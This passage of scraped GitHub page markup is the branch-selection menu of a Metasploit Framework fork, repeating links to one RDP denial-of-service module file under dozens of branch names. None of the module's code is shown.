href="/jvazquez-r7/metasploit-framework/blob/post_require/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="post_require" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="post_require">post_require</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ppr_flatten_rec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ppr_flatten_rec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ppr_flatten_rec">ppr_flatten_rec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/proficy_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="proficy_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="proficy_traversal">proficy_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/provider_skeleton_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="provider_skeleton_clean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="provider_skeleton_clean">provider_skeleton_clean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/psexec_command/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="psexec_command" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="psexec_command">psexec_command</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/psexec_command_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="psexec_command_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="psexec_command_fix">psexec_command_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/psexec-url/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="psexec-url" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="psexec-url">psexec-url</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/quickr_qp2_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="quickr_qp2_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="quickr_qp2_bof">quickr_qp2_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ra1nx_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ra1nx_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ra1nx_work">ra1nx_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/raidsonic_telnet/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="raidsonic_telnet" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="raidsonic_telnet">raidsonic_telnet</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/rails3/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="rails3" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="rails3">rails3</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/rapid7/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="rapid7" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="rapid7">rapid7</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/realplayer_url_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="realplayer_url_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="realplayer_url_bof">realplayer_url_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/recoveryfiles_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="recoveryfiles_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="recoveryfiles_cleanup">recoveryfiles_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/release/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="release" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="release">release</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/release-4.5/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="release-4.5" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="release-4.5">release-4.5</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/release-4.5-tech-preview/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="release-4.5-tech-preview" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="release-4.5-tech-preview">release-4.5-tech-preview</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/retab/pr/2280/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="retab/pr/2280" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="retab/pr/2280">retab/pr/2280</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/revert-msfupdate/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="revert-msfupdate" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="revert-msfupdate">revert-msfupdate</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/revertastic-reverse-http/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="revertastic-reverse-http" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="revertastic-reverse-http">revertastic-reverse-http</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/review-2142/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="review-2142" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="review-2142">review-2142</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/review-2412/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="review-2412" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="review-2412">review-2412</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2318/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="review-pr2318" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="review-pr2318">review-pr2318</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2321/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="review-pr2321" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="review-pr2321">review-pr2321</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/review-pr2379/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="review-pr2379" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="review-pr2379">review-pr2379</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/rfcode_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="rfcode_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="rfcode_work">rfcode_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/rlstest/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="rlstest" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="rlstest">rlstest</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/rsmudge-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="rsmudge-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="rsmudge-master">rsmudge-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/saintpatrick-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="saintpatrick-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="saintpatrick-master">saintpatrick-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sami_ftp_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sami_ftp_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sami_ftp_work">sami_ftp_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_mgmt_con_osexec_payload_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_mgmt_con_osexec_payload_multi" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_mgmt_con_osexec_payload_multi">sap_mgmt_con_osexec_payload_multi</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_modules_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_modules_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_modules_review">sap_modules_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_router_scan_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_router_scan_clean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_router_scan_clean">sap_router_scan_clean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_smb_relay/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_smb_relay" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_smb_relay">sap_smb_relay</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_eps_delete_file/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_eps_delete_file" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_eps_delete_file">sap_soap_rfc_eps_delete_file</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_eps_get_directory_listing/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_eps_get_directory_listing" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_eps_get_directory_listing">sap_soap_rfc_eps_get_directory_listing</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_pfl_check_os_file_existence/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_pfl_check_os_file_existence" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_pfl_check_os_file_existence">sap_soap_rfc_pfl_check_os_file_existence</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_rzl_read_dir_local_dir_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_rzl_read_dir_local_dir_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_rzl_read_dir_local_dir_cleanup">sap_soap_rfc_rzl_read_dir_local_dir_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_sxpg_call_system_exec_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_sxpg_call_system_exec_multi" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_sxpg_call_system_exec_multi">sap_soap_rfc_sxpg_call_system_exec_multi</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_sxpg_command_exec_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sap_soap_rfc_sxpg_command_exec_multi" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sap_soap_rfc_sxpg_command_exec_multi">sap_soap_rfc_sxpg_command_exec_multi</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sapni_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sapni_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sapni_work">sapni_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/scriptjunkie-migrator/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="scriptjunkie-migrator" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="scriptjunkie-migrator">scriptjunkie-migrator</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sempervictus-dns_enum_over_tcp/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sempervictus-dns_enum_over_tcp" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sempervictus-dns_enum_over_tcp">sempervictus-dns_enum_over_tcp</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/setuid_tunnelblick/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="setuid_tunnelblick" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="setuid_tunnelblick">setuid_tunnelblick</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/setuid_viscosity/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="setuid_viscosity" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="setuid_viscosity">setuid_viscosity</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sevone_changes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sevone_changes" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sevone_changes">sevone_changes</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_cmd_target/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sonicwall_cmd_target" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sonicwall_cmd_target">sonicwall_cmd_target</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sonicwall_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sonicwall_fix">sonicwall_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_test/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sonicwall_test" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sonicwall_test">sonicwall_test</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sophos_wpa_clear_keys/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sophos_wpa_clear_keys" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sophos_wpa_clear_keys">sophos_wpa_clear_keys</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/sophos_wpa_sblistpack_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="sophos_wpa_sblistpack_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="sophos_wpa_sblistpack_exec">sophos_wpa_sblistpack_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/spiderman_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="spiderman_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="spiderman_fix">spiderman_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/spip_connect_exec_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="spip_connect_exec_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="spip_connect_exec_review">spip_connect_exec_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/splunk_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="splunk_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="splunk_cleanup">splunk_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/splunk_upload_app_exec_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="splunk_upload_app_exec_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="splunk_upload_app_exec_cleanup">splunk_upload_app_exec_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/struts_default_action_mapper/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="struts_default_action_mapper" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="struts_default_action_mapper">struts_default_action_mapper</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/telnet-banner-unicode/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="telnet-banner-unicode" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="telnet-banner-unicode">telnet-banner-unicode</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/temp-4.4.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="temp-4.4.0" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="temp-4.4.0">temp-4.4.0</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/test-2188/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="test-2188" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="test-2188">test-2188</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/test_get_cookies/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="test_get_cookies" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="test_get_cookies">test_get_cookies</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/test_li_connection/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="test_li_connection" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="test_li_connection">test_li_connection</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/test_osx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="test_osx" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="test_osx">test_osx</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/twiki_maketext/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="twiki_maketext" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="twiki_maketext">twiki_maketext</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/udp_windows/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="udp_windows" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="udp_windows">udp_windows</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/uictl-disappeared/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="uictl-disappeared" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="uictl-disappeared">uictl-disappeared</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a 